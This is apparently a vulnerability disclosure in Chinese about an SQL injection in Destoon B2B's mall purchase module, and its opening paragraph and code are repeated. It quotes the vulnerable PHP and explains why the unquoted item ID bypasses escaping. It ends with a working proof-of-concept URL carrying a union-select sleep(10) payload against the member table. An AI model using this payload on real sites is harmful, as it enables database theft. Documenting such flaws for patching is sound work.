### 简要描述： Destoon B2B建站存在SQL注入漏洞（已经打了20130703补丁） ### 详细说明： /module/mall/buy.inc.php 这个文件，除了已经修复了的知道创宇上报的那个注入点，还存在其他注入点。 ``` if($submit) { require DT_ROOT.'/module/'.$module.'/cart.class.php'; $do = new cart(); $cart = $do->get(); if($post) { $add = array_map('trim', $add); $add['address'] = area_pos($add['areaid'], '').$add['address']; $add = array_map('htmlspecialchars', $add); $buyer_address = $add['address']; if(strlen($buyer_address) < 10) message($L['msg_type_address']); $buyer_postcode = $add['postcode']; if(strlen($buyer_postcode) < 6) message($L['msg_type_postcode']); $buyer_name = $add['truename']; if(strlen($buyer_name) < 2) message($L['msg_type_truename']); $buyer_mobile = $add['mobile']; if(strlen($buyer_mobile) < 11) message($L['msg_type_mobile']); $buyer_phone = $add['telephone']; $buyer_receive = $add['receive']; if(strlen($buyer_receive) < 2) message($L['msg_type_express']); $i = 0; foreach($post as $k=>$v) { $t1 = explode('-', $k); $itemid = $t1[0]; $s1 = $t1[1];...
### 简要描述： Destoon B2B建站存在SQL注入漏洞（已经打了20130703补丁） ### 详细说明： /module/mall/buy.inc.php 这个文件，除了已经修复了的知道创宇上报的那个注入点，还存在其他注入点。 ``` if($submit) { require DT_ROOT.'/module/'.$module.'/cart.class.php'; $do = new cart(); $cart = $do->get(); if($post) { $add = array_map('trim', $add); $add['address'] = area_pos($add['areaid'], '').$add['address']; $add = array_map('htmlspecialchars', $add); $buyer_address = $add['address']; if(strlen($buyer_address) < 10) message($L['msg_type_address']); $buyer_postcode = $add['postcode']; if(strlen($buyer_postcode) < 6) message($L['msg_type_postcode']); $buyer_name = $add['truename']; if(strlen($buyer_name) < 2) message($L['msg_type_truename']); $buyer_mobile = $add['mobile']; if(strlen($buyer_mobile) < 11) message($L['msg_type_mobile']); $buyer_phone = $add['telephone']; $buyer_receive = $add['receive']; if(strlen($buyer_receive) < 2) message($L['msg_type_express']); $i = 0; foreach($post as $k=>$v) { $t1 = explode('-', $k); $itemid = $t1[0]; $s1 = $t1[1]; $s2 = $t1[2]; $s3 = $t1[3]; $t = $db->get_one("SELECT * FROM {$table} WHERE itemid=$itemid"); ``` 其中$submit,$post,$add都是外部提交数据。 由于$t = $db->get_one("SELECT * FROM {$table} WHERE itemid=$itemid"); 由于$itemid由$post数组的key赋值，被输入控制，且SQL语句里面没有单引号包围$itemid,导致绕过GPC防护，可以进行union查询盲注。 ### 漏洞证明： 需要登录， http://localhost/webapp/destoon/mall/buy.php?add[address]=abcdefghijklm&add[postcode]=abcdefghijklm&add[truename]=abcdefghijklm&add[mobile]=abcdefghijklm&add[telephone]=abcdefghijklm&add[receive]=abcdefghijklm&post[1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,sleep(10) from destoon_member]=b 同时POST提交submit=1 我把执行的SQL语句打印出来了。 [<img src="https://images.seebug.org/upload/201307/06094456bf25ccec0647012f7f72654c4a1398e4.jpg" alt="destoon.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201307/06094456bf25ccec0647012f7f72654c4a1398e4.jpg)
